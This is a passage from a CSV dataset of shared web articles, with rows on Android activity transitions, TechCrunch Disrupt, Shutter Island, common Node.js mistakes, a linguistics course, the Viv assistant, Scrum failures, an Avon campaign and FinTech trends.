code can be found here . ↩ It might look like the views in A are fading in/out of the screen at first, but what you are really seeing is activity B fading in/out of the screen on top of activity A . The views in activity A are not actually animating during this time. You can adjust the duration of the background fade by calling setTransitionBackgroundFadeDuration() on the called activity's Window . ↩ For an explanation describing the differences between the FEATURE_ACTIVITY_TRANSITIONS and FEATURE_CONTENT_TRANSITIONS window feature flags, see this StackOverflow post . ↩ To start an Activity transition with content transitions but no shared elements , you can create the Bundle by calling ActivityOptions.makeSceneTransitionAnimation(activity).toBundle() . To disable content transitions and shared element transitions entirely, don't create a Bundle object at all-just pass null instead. ↩",en
1462800948,CONTENT SHARED,-5522643017727334716,-1032019229384696495,-6841732942603680622,,,,HTML,http://techcrunch.com/2016/05/09/introducing-the-startup-battlefield-companies-of-disrupt-ny-2016/,Introducing the Startup Battlefield companies of Disrupt NY 2016,"TechCrunch is pleased to announce the 20 startups selected to participate in the Disrupt NY 2016 Startup Battlefield. Over the next two days, these companies will compete on tech's biggest stage for $50,000 and the Disrupt Cup. Selection for the Battlefield is incredibly competitive: The startups onstage represent just under 4 percent of those that applied. Startup Battlefield serves to showcase the most promising early-stage and, dare we say, disruptive startups in the industry. This batch has a little something for everyone. These companies bring more interaction to online gaming, enable athletes to train harder, produce clean air indoors, provide credit for the unbanked, keep bicyclists safe on the roads and kids safe online. They make finding a job and even an apartment more straightforward. Over the past month, these startups have been working tirelessly to prepare to launch, rushing to finalize designs, and produce that final prototype. They spent time with TechCrunch staff to hone their pitches to a crisp six minutes. Finalists from the first two days will present once more on Wednesday. All this work pays off when each startup faces a rigorous live Q/A session from a lineup of judges from the likes of First Round Capital, KPCB, Greycroft, NEA, General Catalyst, Sequoia and others. The Startup Battlefield hub page contains all the details of the event, including the schedule, bios of the judges and more details on the companies. The pitches start live at 2:30 p.m. ET today and 3:05 p.m. ET tomorrow. Battlefield companies will also be showcasing in the Startup Alley both days of the conference. Stop by and see what all the fuss is about. Session 2 - 3:55 p.m. Wild Card* Session 4 - 4:30 p.m.",en
1462801664,CONTENT SHARED,-8615957592921855596,6644119361202586331,9068986079947446874,,,,HTML,http://www.imdb.com/title/tt1130884/,Shutter Island (2010),"It's 1954, and up-and-coming U.S. marshal Teddy Daniels is assigned to investigate the disappearance of a patient from Boston's Shutter Island Ashecliffe Hospital. He's been pushing for an assignment on the island for personal reasons, but before long he wonders whether he hasn't been brought there as part of a twisted plot by hospital doctors whose radical treatments range from unethical to illegal to downright sinister. Teddy's shrewd investigating skills soon provide a promising lead, but the hospital refuses him access to records he suspects would break the case wide open. As a hurricane cuts off communication with the mainland, more dangerous criminals ""escape"" in the confusion, and the puzzling, improbable clues multiply, Teddy begins to doubt everything - his memory, his partner, even his own sanity. Written by alfiehitchie Taglines: Someone is missing. Release Date: 19 February 2010 (USA) Budget: $80,000,000 (estimated) Opening Weekend: $41,062,440 (USA) (19 February 2010) Gross: $127,968,405 (USA) (4 June 2010) See full technical specs "" Goofs At Dachau, Teddy looks intensely at human bodies piled on top of each other, clearly frozen due to severe cold. Dachau however was not liberated during winter, but on April 29, 1945. It is true that some fresh snow had fallen overnight, but photographs taken by American soldiers show it was just a hint of snow, not a blanket. Late April wasn't cold enough. See more "" Quotes [first lines] Teddy Daniels : Pull yourself together, Teddy. Pull yourself together. See more "" Soundtracks TWO ETUDES: HARMONIES Written by György Ligeti Performed by Hans-Ola Ericsson Courtesy of BIS Records See more "" Recent Posts",en
1462807009,CONTENT SHARED,-5602127731550819348,-1578287561410088674,7391618444319437521,,,,HTML,https://www.toptal.com/nodejs/top-10-common-nodejs-developer-mistakes,The Top 10 Most Common Mistakes That Node.js Developers Make,"Since the moment Node.js was unveiled to the world, it has seen a fair share of both praise and criticism . The debate still continues, and may not end anytime soon. What we often overlook in these debates is that every programming language and platform is criticized based on certain issues, which are created by how we use the platform. Regardless of how difficult Node.js makes writing safe code, and how easy it makes writing highly concurrent code, the platform has been around for quite a while and has been used to build a huge number of robust and sophisticated web services. These web services scale well, and have proven their stability through their endurance of time on the Internet. However, like any other platform, Node.js is vulnerable to developer problems and issues. Some of these mistakes degrade performance, while others make Node.js appear straight out unusable for whatever you are trying to achieve. In this article, we will take a look at ten common mistakes that developers new to Node.js often make, and how they can be avoided to become a Node.js pro . Mistake #1: Blocking the event loop JavaScript in Node.js (just like in the browser) provides a single threaded environment. This means that no two parts of your application run in parallel; instead, concurrency is achieved through the handling of I/O bound operations asynchronously. For example, a request from Node.js to the database engine to fetch some document is what allows Node.js to focus on some other part of the application: // Trying to fetch an user object from the database. Node.js is free to run other parts of the code from the moment this function is invoked.. db.User.get(userId, function(err, user) { // .. until the moment the user object has been retrieved here }) However, a piece of CPU-bound code in a Node.js instance with thousands of clients connected is all it takes to block the event loop, making all the clients wait. CPU-bound codes include attempting to sort a large array, running an extremely long loop, and so on. For example: function sortUsersByAge(users) { users.sort(function(a, b) { return a.age < b.age ? -1 : 1 }) } Invoking this ""sortUsersByAge"" function may be fine if run on a small ""users"" array, but with a large array, it will have a horrible impact on the overall performance. If this is something that absolutely must be done, and you are certain that there will be nothing else waiting on the event loop (for example, if this was part of a command-line tool that you are building with Node.js, and it wouldn't matter if the entire thing ran synchronously), then this may not be an issue. However, in a Node.js server instance trying to serve thousands of users at a time, such a pattern can prove fatal. If this array of users was being retrieved from the database, the ideal solution would be to fetch it already sorted directly from the database. If the event loop was being blocked by a loop written to compute the sum of a long history of financial transaction data, it could be deferred to some external worker/queue setup to avoid hogging the event loop. As you can see, there is no silver-bullet solution to this kind of Node.js problem, rather each case needs to be addressed individually. The fundamental idea is to not do CPU intensive work within the front facing Node.js instances - the ones clients connect to concurrently. Mistake #2: Invoking a Callback More Than Once JavaScript has relied on callbacks since forever. In web browsers, events are handled by passing references to (often anonymous) functions that act like callbacks. In Node.js, callbacks used to be the only way asynchronous elements of your code communicated with each other - up until promises were introduced. Callbacks are still in use, and package developers still design their APIs around callbacks. One common Node.js issue related to using callbacks is calling them more than once. Typically, a function provided by a package to do something asynchronously is designed to expect a function as its last argument, which is called when the asynchronous task has been completed: module.exports.verifyPassword = function(user, password, done) { if(typeof password !== 'string') { done(new Error('password should be a string')) return } computeHash(password, user.passwordHashOpts, function(err, hash) { if(err) { done(err) return } done(null, hash === user.passwordHash) }) } Notice how there is a return statement every time ""done"" is called, up until the very last time. This is because calling the callback doesn't automatically end the execution of the current function. If the first ""return"" was commented out, passing a non-string password to this function will still result in ""computeHash"" being called. Depending on how ""computeHash"" deals with such a scenario, ""done"" may be called multiple times. Anyone using this function from elsewhere may be caught completely off guard when the callback they pass is invoked multiple times. Being careful is all it takes to avoid this Node.js error. Some Node.js developers adopt a habit of adding a return keyword before every callback invocation: if(err) { return done(err) } In many asynchronous functions, the return value has almost no significance, so this approach often makes it easy to avoid such a problem. Mistake #3: Deeply Nesting Callbacks Deeply-nesting callbacks, often referred to as ""callback hell"", is not a Node.js issue in itself. However, this can cause problems making code quickly spin out of control: function handleLogin(..., done) { db.User.get(..., function(..., user) { if(!user) { return done(null, 'failed to log in') } utils.verifyPassword(..., function(..., okay) { if(okay) { return done(null, 'failed to log in') } session.login(..., function() { done(null, 'logged in') }) }) }) } The more complex the task, the worse this can get. By nesting callbacks in such a way, we easily end up with error-prone, hard to read, and hard to maintain code. One workaround is to declare these tasks as small functions, and then link them up. Although, one of the (arguably) cleanest solutions to this is to use a utility Node.js package that deals with asynchronous JavaScript patterns, such as Async.js : function handleLogin(done) { async.waterfall([ function(done) { db.User.get(..., done) }, function(user, done) { if(!user) { return done(null, 'failed to log in') } utils.verifyPassword(..., function(..., okay) { done(null, user, okay) }) }, function(user, okay, done) { if(okay) { return done(null, 'failed to log in') } session.login(..., function() { done(null, 'logged in') }) } ], function() { // ... }) } Similar to ""async.waterfall"", there are a number of other functions that Async.js provides to deal with different asynchronous patterns. For brevity, we used simpler examples here, but reality is often worse. Mistake #4: Expecting Callbacks to Run Synchronously Asynchronous programming with callbacks may not be something unique to JavaScript and Node.js, but they are responsible for its popularity. With other programming languages, we are accustomed to the predictable order of execution where two statements will execute one after another, unless there is a specific instruction to jump between statements. Even then, these are often limited to conditional statements, loop statements, and function invocations. However, in JavaScript, with callbacks a particular function may not run well until the task it is waiting on is finished. The execution of the current function will run until the end without any stop: function testTimeout() { console.log(""Begin"") setTimeout(function() { console.log(""Done!"") }, duration * 1000) console.log(""Waiting.."") } As you will notice, calling the ""testTimeout"" function will first print ""Begin"", then print ""Waiting.."" followed by the the message ""Done!"" after about a second. Anything that needs to happen after a callback has fired needs to be invoked from within it. Mistake #5: Assigning to ""exports"", Instead of ""module.exports"" Node.js treats each file as a small isolated module. If your package has two files, perhaps ""a.js"" and ""b.js"", then for ""b.js"" to access ""a.js""'s functionality, ""a.js"" must export it by adding properties to the exports object: // a.js exports.verifyPassword = function(user, password, done) { ... } When this is done, anyone requiring ""a.js"" will be given an object with the property function ""verifyPassword"": // b.js require('a.js') // { verifyPassword: function(user, password, done) { ... } } However, what if we want to export this function directly, and not as the property of some object? We can overwrite exports to do this, but we must not treat it as a global variable then: // a.js module.exports = function(user, password, done) { ... } Notice how we are treating ""exports"" as a property of the module object. The distinction here between ""module.exports"" and ""exports"" is very important, and is often a cause of frustration among new Node.js developers. Mistake #6: Throwing Errors from Inside Callbacks JavaScript has the notion of exceptions. Mimicking the syntax of almost all traditional languages with exception handling support, such as Java and C++, JavaScript can ""throw"" and catch exceptions in try-catch blocks: function slugifyUsername(username) { if(typeof username === 'string') { throw new TypeError('expected a string username, got '+(typeof username)) } // ... } try { var usernameSlug = slugifyUsername(username) } catch(e) { console.log('Oh no!') } However, try-catch will not behave as you might expect it to in asynchronous situations. For example, if you wanted to protect a large chunk of code with lots of asynchronous activity with one big try-catch block, it wouldn't necessarily work: try { db.User.get(userId, function(err, user) { if(err) { throw err } // ... usernameSlug = slugifyUsername(user.username) // ... }) } catch(e) { console.log('Oh no!') } If the callback to ""db.User.get"" fired asynchronously, the scope containing the try-catch block would have long gone out of context for it to still be able to catch those errors thrown from inside the callback. This is how errors are handled in a different way in Node.js, and that makes it essential to follow the (err, ...) pattern on all callback function arguments - the first argument of all callbacks is expected to be an error if one happens. Mistake #7: Assuming Number to Be an Integer Datatype Numbers in JavaScript are floating points - there is no integer data type. You wouldn't expect this to be a problem, as numbers large enough to stress the limits of float are not encountered often. That is exactly when mistakes related to this happen. Since floating point numbers can only hold integer representations up to a certain value, exceeding that value in any calculation will immediately start messing it up. As strange as it may seem, the following evaluates to true in Node.js: Math.pow(2, 53)+1 === Math.pow(2, 53) Unfortunately, the quirks with numbers in JavaScript doesn't end here. Even though Numbers are floating points, operators that work on integer data types work here as well: 5 % 2 === 1 // true 5 >> 1 === 2 // true However, unlike arithmetic operators, bitwise operators and shift operators work only on the trailing 32 bits of such large ""integer"" numbers. For example, trying to shift ""Math.pow(2, 53)"" by 1 will always evaluate to 0. Trying to do a bitwise-or of 1 with that same large number will evaluate to 1. Math.pow(2, 53) / 2 === Math.pow(2, 52) // true Math.pow(2, 53) >> 1 === 0 // true Math.pow(2, 53) | 1 === 1 // true You may rarely need to deal with large numbers, but if you do, there are plenty of big integer libraries that implement the important mathematical operations on large precision numbers, such as node-bigint . Mistake #8: Ignoring the Advantages of Streaming APIs Let's say we want to build a small proxy-like web server that serves responses to requests by fetching the content from another web server. As an example, we shall build a small web server that serves Gravatar images: var http = require('http') var crypto = require('crypto') http.createServer() .on('request', function(req, res) { var email = req.url.substr(req.url.lastIndexOf('/')+1) if(!email) { res.writeHead(404) return res.end() } var buf = new Buffer(1024*1024) http.get(' '+crypto.createHash('md5').update(email).digest('hex'), function(resp) { var size = 0 resp.on('data', function(chunk) { chunk.copy(buf, size) size += chunk.length }) .on('end', function() { res.write(buf.slice(0, size)) res.end() }) }) }) .listen(8080) In this particular example of a Node.js problem, we are fetching the image from Gravatar, reading it into a Buffer, and then responding to the request. This isn't such a bad thing to do, given that Gravatar images are not too large. However, imagine if the size of the contents we are proxying were thousands of megabytes in size. A much better approach would have been this: http.createServer() .on('request', function(req, res) { var email = req.url.substr(req.url.lastIndexOf('/')+1) if(!email) { res.writeHead(404) return res.end() } http.get(' '+crypto.createHash('md5').update(email).digest('hex'), function(resp) { resp.pipe(res) }) }) .listen(8080) Here, we fetch the image and simply pipe the response to the client. At no point do we need to read the entire content into a buffer before serving it. Mistake #9: Using Console.log for Debugging Purposes In Node.js, ""console.log"" allows you to print almost anything to the console. Pass an object to it and it will print it as a JavaScript object literal. It accepts any arbitrary number of arguments and prints them all neatly space-separated. There are a number of reasons why a developer may feel tempted to use this to debug his code; however, it is strongly recommended that you avoid ""console.log"" in real code. You should avoid writing ""console.log"" all over the code to debug it and then commenting them out when they are no longer needed. Instead, use one of the amazing libraries that are built just for this, such as debug . Packages like these provide convenient ways of enabling and disabling certain debug lines when you start the application. For example, with debug it is possible to prevent any debug lines from being printed to the terminal by not setting the DEBUG environment variable. Using it is simple: // app.js var debug = require('debug')('app') debug('Hello, %s!', 'world') To enable debug lines, simply run this code with the environment variable DEBUG set to ""app"" or ""*"": DEBUG=app node app.js Mistake #10: Not Using Supervisor Programs Regardless of whether your Node.js code is running in production or in your local development environment, a supervisor program monitor that can orchestrate your program is an extremely useful thing to have. One practice often recommended by developers designing and implementing modern applications recommends that your code should fail fast. If an unexpected error occurs, do not try to handle it, rather let your program crash and have a supervisor restart it in a few seconds. The benefits of supervisor programs are not just limited to restarting crashed programs. These tools allow you to restart the program on crash, as well as restart them when some files change. This makes developing Node.js programs a much more pleasant experience. There is a plethora of supervisor programs available for Node.js. For example: All these tools come with their pros and cons. Some of them are good for handling multiple applications on the same machine, while others are better at log management. However, if you want to get started with such a program, all of these are fair choices. Conclusion As you can tell, some of these Node.js problems can have devastating effects on your program. Some may be the cause of frustration while you're trying to implement the simplest of things in Node.js. Although Node.js has made it extremely easy for newcomers to get started, it still has areas where it is just as easy to mess up. Developers from other programming languages may be able to relate to some of these issues, but these mistakes are quite common among new Node.js developers . Fortunately, they are easy to avoid. I hope this short guide will help beginners to write better code in Node.js, and to develop stable and efficient software for us all. About the author",en
1462807825,CONTENT SHARED,8049667463017473012,-1443636648652872475,2820567810769562832,,,,HTML,https://www.coursera.org/learn/human-language/,"Miracles of Human Language: An Introduction to Linguistics - Universiteit Leiden, Meertens instituut (KNAW) | Coursera","About this course: Everywhere, every day, everybody uses language. There is no human society, no matter how small or how isolated, which does not employ a language that is rich and diverse. This course introduces you to linguistics, featuring interviews with well-known linguists and with speakers of many different languages. Join us to explore the miracles of human language! The Miracles of Human Language introduces you to the many-faceted study of languages, which has amazed humans since the beginning of history. Together with speakers of many other languages around the world, as well as with famous linguists such as Noam Chomsky and Adele Goldberg, you will learn to understand and analyse how your native tongue is at the same time similar and different from many other languages. You will learn the basic concepts of linguistics, get to know some of the key features of big and small languages and get insight into what linguists do. This course gives an introduction into the study of languages, the field of linguistics. With the support of the basic linguistic terminology that is offered in the course, you will soon be able to comment both on variety between languages, as well as on a single language's internal structure. Anyone who wishes to understand how languages work, and how they can give us insight into the human mind is very welcome to join. The course is useful if you want to get a fairly quick introduction into linguistics, for instance because you are considering studying it further, or because you are interested in a neighbouring discipline such as psychology, computer science or anthropology. Furthermore, the course will help you develop analytical skills. If you are curious to understand how language works and how it gives insight into the human mind, this course is definitely for you!",en
1462809586,CONTENT SHARED,5979676385148714519,-1032019229384696495,-6841732942603680622,,,,HTML,http://techcrunch.com/2016/05/09/heres-what-viv-looks-like-the-next-generation-ai-assistant-built-by-siri-creator/,"Here's what Viv looks like, the next generation AI assistant built by Siri creator","Siri co-founder and CEO Dag Kittlaus has been quietly working on a much-anticipated voice assistant powered by artificial intelligence, machine learning and integrations with third-party services. This product is called Viv and, in a world first, Kittlaus just gave us a demo at TechCrunch Disrupt NY that shows off the power of what they've built with Viv. Like with Siri, Viv wants to build a conversational and smart layer that lets you interact with various services. But Viv is taking everything one step further. It's more personal, it's more ubiquitous. More importantly, there's a developer platform to add more services. A demo is worth a thousand words. Without further ado, meet Viv: Head over to TechCrunch.com for our full coverage of Kittlaus' interview and learn more about the vision behind Viv.",en
1462811069,CONTENT SHARED,-5037827401452845772,5683029675627635125,-4824397180889193568,,,,HTML,http://tableless.com.br/quando-o-scrum-ira-falhar/,Quando o Scrum irá falhar - Tableless,"por marcoaacoliveira Nesse artigo vamos abordar um pouco os pontos críticos do Scrum, a intenção aqui não é explicar o framework (o Scrum é considerado um framework para gestão de projetos) em si, mas dar um panorama dos casos mais comuns de falhas críticas ao se tentar adotar o Scrum ou modificá-lo. Caso esteja procurando um artigo para entender melhor o que é o Scrum, recomendo esse aqui , escrito pela Dani Guerrato. Ou ainda, caso queira mergulhar de cabeça recomendo a leitura do Scrum Guide (em português). Introdução feita, vamos ao que realmente interessa aqui: O Scrum não é uma bala de prata (a essa altura você já deve saber que nenhuma metodologia ágil é). Se você, assim como eu, já foi (ou é) responsável por trazê-lo para sua empresa, esteja atento ao seu ambiente e aprenda com a implementação do Scrum. Citarei aqui e explicarei sobre cada um dos pontos críticos do Scrum: Quando a comunicação não é suficiente Esse talvez seja o mais óbvio ponto crítico do Scrum. Em qualquer projeto, a comunicação se faz necessária, mas diferente de outras metodologias de gerenciamento de projeto, o Scrum delega a responsabilidade do gerenciamento à própria equipe de desenvolvimento e daí a comunicação se torna ainda mais crítica. Como uma equipe pode chegar a um consenso e se autogerenciar se não há uma boa (ou nenhuma) comunicação? Sem comunicação, não há gerenciamento. Portanto Scrum Master (ou não), fique atento a esse ponto, ao perceber pequenos atritos não resolvidos, desgaste ou qualquer sinal de que a comunicação do time de desenvolvimento, Product Owner ou até mesmo a sua, não esta indo bem. Trabalhe em cima disso. Existe um artefato que tem como objetivo garantir uma comunicação mais fluída e um gerenciamento mais democrático e dinâmico: Planning Poker. Nele todos os membros da equipe de desenvolvimento jogam cartas para determinar o peso de cada estória de usuário. Ao jogarem cartas distintas para uma mesma User Story, é discutido (geralmente entre os jogadores que colocaram os dois pontos mais distantes) o motivo deles avaliarem aquela estória daquela forma; e Mike Cohn defende que você considere uma estória como avaliada somente quando todos do time chegarem a um consenso quanto ao peso daquela estória. Isso garante o diálogo, além de melhorar o comprometimento e a motivação. Quando a motivação acaba Como garantir algo tão subjetivo durante todo o projeto? Esse é um problema grave não só no Scrum, mas em qualquer outra metodologia ágil. E a resposta é como esperado: você não garante! Então nada pode ser feito para que sua equipe se motive? Não, o fato de que motivação é algo subjetivo, não quer dizer que você não possa prover as ferramentas ou o ambiente necessário para sua equipe continuar seguindo motivada. Vou considerar aqui que os colaboradores com quem você convive já são pessoas motivadas por natureza, que é o que se espera num ambiente ágil, e que é necessário apenas manter a motivação. Então vou citar aqui os principais motivos que levam um colaborador a se desmotivar durante o projeto: Stakeholders não comprometidos, mas envolvidos apenas com cobranças desalinhadas. Sabe aquele cliente que nunca comparece aos eventos Scrum e um belo dia resolve ficar a par do projeto? Esse cliente geralmente vai acabar com sua Sprint, vai destruir a blindagem do seu time de desenvolvimento e deixará seu Product Owner (caso não seja ele mesmo) louco. Tenha um cuidado especial com o efeito negativo desse stakeholder na motivação do seu time. Projetos longos que não se renovam. Não me entenda mal. As metodologias ágeis existem com o lema de que mudanças são sempre bem vindas, mas se um projeto se alonga por tempo demasiado você irá perceber um certo desânimo na sua equipe. Principalmente se são mudanças que exigem uma série de atividades desgastantes e que acabam levando o projeto a situações do passado (desfazer estórias de usuário é uma das mais críticas). Equipe muito pouco reconhecida por projetos. Nada pior que uma entrega ou finalização de projeto com sucesso, onde o time scrum (PO, SM e equipe de desenvolvimento) não é nem sequer reconhecido pelo seu bom trabalho. É válido destacar aqui que o desenvolvimento ágil tem como objetivo entregar produtos com muito mais valor ao cliente, contudo é mais desgastante para os comprometidos com o projeto. Por isso eu recomendo a qualquer gestor que ao término de cada projeto crie sua maneira de bonificar (isso varia de acordo a sua cultura organizacional) a equipe. Lembre-se sempre de que coisas simples como uma pizza, um happy hour ou qualquer outro tipo de confraternização é suficiente para levantar o moral e deixar sua equipe pronta para o próximo projeto. Quando os pontos negativos individuais interferem no trabalho em equipe Como saber se sua equipe trabalha bem em time? Em alguns casos temos uma equipe madura o suficiente para termos um trabalho em equipe direto e enxuto. Mas quando isso não acontece? Quando um membro do time insiste em ser prolixo nas reuniões? Ou quando questões pequenas consomem mais tempo de discussão do que realmente importa? Quem é o responsável por fazer essas coisas funcionarem? Bem, considerando que temos um líder-servo como papel do Scrum (Scrum Master), cai sobre ele a responsabilidade com toda sua habilidade para servir e liderar ao mesmo tempo lidar com essa situação. Uma boa abordagem é fazer mentorias (aconselhamentos ou tutorias) individuais em pequenas reuniões (bate-papos). Faça com que todo o processo seja o menos assustador possível para aquele que deve ter pontos negativos trabalhados, lembre-se que motivação é uma das chaves do desenvolvimento ágil e você não quer perder um membro motivado em pleno desenvolvimento do projeto, certo? Portanto, o recomendável é fazer da forma mais sutil possível: entenda os motivos que levam o membro a agir daquela forma e através de sugestões e conselhos mostre como ele pode ser mais produtivo para o time como um todo. Lembre-se, o Scrum Master deve ter um excelente conhecimento de sua equipe, logo, essas pequenas mentorias e bate-papos devem ser feitos constantemente. Quando o PO não encontra o cliente Essa é a maior falha em todo projeto, seja em uma metodologia ágil ou clássica. Nesse cenário seu time entrega o que promete com excelência, as cerimonias são cumpridas com precisão, o seu burndown encontra-se impecável. Mas nada do que é entregue é realmente um agregador de valor ao cliente final e provavelmente isso se dará quando o seu Product Owner estiver falando com o Stakeholder errado! Pegando um exemplo simples e claro: Imagine que sua empresa está desenvolvendo um sistema de ponto para uma fábrica, o dono da empresa é seu principal Stakeholder e o Product Owner mantém constante contato com ele. Porém a cada finalização de Sprint você nota que muito trabalho teve que voltar ao backlog ou teve que ser reescrito em outras estórias de usuário. O exemplo ilustra um sinal claro, que um PO atento logo se alarmara, de que é hora de trazer um novo Stakeholder à frente do projeto e ouvi-lo falar sobre qual será o produto ideal para ele. É muito comum, porém, que nem sempre o seu cliente final seja alguém próximo. Ou até mesmo que seu Stakeholder nem sequer o conheça! Aqui entram algumas técnicas do desenvolvimento Lean que eu acho bastante interessantes e que pode ser muito útil para sua empresa e seu trabalho receberem recomendações futuras por salvar a vida de um Stakeholder perdido. Se você já vem trabalhando com Scrum, para entender o Lean é apenas mais alguns passos adiante, por tanto irei abordar aqui rapidamente, mas caso tenha interesse deixarei esse link para maior aprofundamento. O Lean basicamente propõe que você desenvolva um MVP (Minimo Produto Viável, em português), para entrar num ciclo de Construir, Medir e Aprender. Isso tudo feito em pequenas iterações onde cada ciclo completo você tem uma nova iteração 100% funcional (até agora bem familiar, correto?). O ponto principal para você que acabou tendo que conhecer o cliente final do seu cliente, sem mesmo que ele o conheça, é que a cada etapa de Medir e Aprender você deve focar em conhecer mais sobre o usuário final: Teste A/B, Personas, teste presenciais de um possível usuário final, heatmap e muitas outras são técnicas e ferramentas válidas para esse momento. Se você não conhece nenhum dos nomes citados anteriormente, convido-o para que faça uma pausa e dê uma lida, ou ao menos separe alguns materiais para uma lida no futuro. Quando o time não é seu próprio gerente E quando o projeto inteiro é negociado sem conhecimento algum do time de desenvolvimento? E ao avaliar as estórias de usuários se dão conta de que o projeto iria demorar cerca de 6 meses, mas que a negociação e o contrato foram fechados para um prazo de 2 meses? Aqui está claro o problema: o time de desenvolvimento não é seu próprio gerente, suas cerimônias e artefatos estão perdidos! (Meio dramático, eu sei) Mas isso serve para reforçar que esse é um dos momentos mais frustrantes para a equipe de desenvolvimento, pois não será refeita a negociação e sim serão apertados os prazos e as estimativas serão direcionadas por fatores externos. Se você está percebendo um grande problema aqui, você provavelmente já pegou bem a ideia do Scrum... O time de desenvolvimento não mais se encontra blindado e será constantemente influenciado por fatores externos, tais como: cliente, diretores, gerentes ou qualquer nível hierárquico que sua empresa possa possuir. Isso é grave... Isso é muito grave! Se você pode evitar essa situação faça! Caso contrário futuramente será totalmente irremediável durante a execução do projeto e provavelmente fará com que seu time constantemente acabe passando algumas etapas da iteração por cima de outras, levando à um projeto concluído com baixa qualidade e que possivelmente gerará dores de cabeça para seu cliente e por consequência para você em um futuro muito próximo. Obrigado por ler até aqui, espero ter apresentado pontos a serem analisados por você e evitados! Caso tenha mais algum ponto crítico que acha interessante que seja adicionado a esse artigo, elogio ou crítica deixe um comentário &#x1f600; Publicado no dia",pt
1462812783,CONTENT SHARED,4716135688735489427,6735372008307093370,7022970645983672347,,,,HTML,http://www.paramocinhos.com.br/2016/05/no-dia-das-maes-avon-lanca-campanha-com.html,"No dia das mães, Avon lança campanha com mãe de jovem gay","Numa série de vídeos, eles convidaram três mães para comentar sobre a maternidade, as situações que as mães passam e como é esse processo para elas. Até aí tudo bem, não fosse a história de Dona Cida, que chamou tanto a atenções dos internautas, que soma até agora mais de 6 mil compartilhamentos. Mãe do Caio, dona Cida contou como foi o processo de saída do armário do filho e como ela lidou com isso e com o preconceito que o filho poderia sofrer tanto pela sexualidade, quanto pelo fato de ser negro e pobre. Editor Blog Para Mocinhos Thiago Silva - Estudante de jornalismo, 20 e poucos anos, curioso e extremamente gay além de editor e criador do Blog Para Mocinhos. Nos ouvidos um bom eletro pop e um pouco de indie rock, nos olhos um filme qualquer e uma boa companhia, e no coração alguma coisa que nem eu sei o que é ainda.",pt
1462816559,CONTENT SHARED,-205193648629294862,-3390049372067052505,-8729604331807064886,,,,HTML,http://blog.irvingwb.com/blog/2016/04/is-fintech-forcing-banking-to-its-digital-disruption-tipping-point.html,Is FinTech Forcing Banking to a Tipping Point?,"For the past few decades, digital technologies have been systematically transforming one industry after another. The transformations have generally proceeded along three different stages. First comes the use of IT to improve the productivity and quality of production-oriented, back-end processes.Distribution comes next, leveraging the universal reach and connectivity of the Internet over the past 20 years.The transformation then reaches a tipping point when technology radically changes the user experience, - as has happened with the rise of smartphones over the past decade, - leading to a fundamental disruption of the industry and its business models. While this digital disruption journey is ultimately inevitable, the pace varies widely across industries.The IT industry has been the most disrupted , - often by its own digital creations in a kind of sorcerer's apprentice scenario.Over my long career , I've seen many once powerful IT companies done in by technology and market changes, and either disappear altogether or become shadows of their former selves. Beyond IT, few industries have felt the impact of digital forces like . Everything seems to be changing at once, from the way content is produced and delivered, to the sources of revenue and profits. In less than two decades, the global recorded music industry has lost over half its revenues, while the drop in newspaper advertising revenue in the US has been even steeper.Retail has also been undergoing major changes with the rise of e-commerce, as has telecommunications with the transition to mobile phones and wireless data. How about the banking industry, which has long been a major user of information technologies, - including back- and front-office automation, ATM's, Internet banking, data-driven risk management, fraud detection, and mobile financial apps? ""Despite all of the investment and continuous speculation about banks facing extinction, only about 1% of North American consumer banking revenue has migrated to new digital models,"" says an excellent report that was recently released by Citigroup, - Digital Disruption: How FinTech is Forcing Banking to a Tipping Point . ""Although FinTech companies have the advantage of new innovation, incumbent financial institutions still have the upper hand in terms of scale and we have not yet reached the tipping point of digital disruption in either the US or Europe. Given the growth in FinTech investment, this isn't likely to continue for long."" In the last few years, , - short for Financial Technology, - has become a widely used term for technology-based innovations in financial services.FinTech companies have generally been startups looking to disrupt larger companies, although incumbent financial companies have started to establish their own FinTech units.Last October, for example, Citigroup the Citi FinTech division, aimed at developing new mobile banking services and business models. ""Silicon Valley is coming,"" wrote JPMC CEO Jamie Dimon in his 2015 Shareholder Letter. ""There are hundreds of startups with a lot of brains and money working on various alternatives to traditional banking.""Competitors are coming in the payment area as well as in the lending business. ""[T]hey can make loans in minutes, which might take banks weeks...there is much for us to learn in terms of real-time systems, better encryption techniques, and reduction of costs and pain points for customers."" Citi's report highlights a number of important FinTech trends: FinTech investments increased 10X in the past 5 years. Investments have risen ""from $1.8 billion in 2010 to $19 billion in 2015 -with over 70% of this investment focusing on the last mile of user experience in the consumer space.The majority of this investment has also been concentrated in the payments area and this is where banks are seeing the most competition with new entrants.""Competitors are emerging in established digital markets, such as PayPal and Square in e-commerce, as well as in underserved segments like micropayments and small businesses. FinTech is targeting the most profitable areas of global banking. Citi Research analysts estimate that over 70% of FinTech investments have been aimed at individuals and small and medium enterprises, segments which account for about half of banking's profit pool. Given the growing importance of smartphones in financial transactions, it's not surprising that Business-to-Consumer (B2C) innovations dominate, mostly aimed at improving user experiences. The US and Europe are at the tipping point. Greg Baxter , - Citi's Global Head of Digital Strategy, - notes that in the US and other developed markets ""We are not even at the end of the beginning.""While really difficult to forecast this early in the cycle, his Citi team estimates that ""currently only about 1% of North American consumer banking revenue has migrated to new digital business models (either at new entrants or incumbents) but that this will increase to about 10% by 2020 and 17% by 2023."" China is already past the tipping point. Top Chinese FinTech companies, - such as or , - already have as many, if not more clients as the major banks around the world.""China's FinTech companies have grown fast due to a combination of: (1) high national Internet and mobile penetration, (2) a large e-commerce system with domestic Internet companies focused on payments, (3) relatively unsophisticated incumbent consumer banking, and (4) accommodative regulations."" Emerging Markets are going through a financial inclusion revolution. Emerging markets are ripe for FinTech disruptions due to ""a high percentage of unbanked population, relatively weak consumer banks, and a high penetration of mobile phones.""Kenya has been the leader in mobile phone-based financial services since the launch of in 2007, which currently has 23 million active customers in 11 countries.In Somalia, - despite or because of its serious political instability, over 40% of adults use mobile money.For billions around the world, FinTech innovations are their tickets to financial inclusion in the global digital economy. India is likely the next major FinTech frontier. India represents a major opportunity space for FinTech, given its large population of over 1.2 billion, its low number of banking accounts and its relatively high digital penetration.This opportunity is helped a long by three major enablers: the national biometric identity program, which now covers over 900 million people; the financial inclusion initiative which has already opened almost 200 million new bank accounts; and the ubiquity of mobile phones, with ~ 80% penetration.In addition, India's central bank, - the Reserve Bank of India , - has been aggressively expanding the banking ecosystem. Digital payments face intense competition. The payment space is being challenged by competitors from a vareity of industries, including e-commerce (Alipay, Paypal), technology (Apple, Google), telcos (MPESA, SoftCard), and merchants (MCX, Walmart Pay).""Although payment is a relatively small part of banks' revenue pool (~7%), the 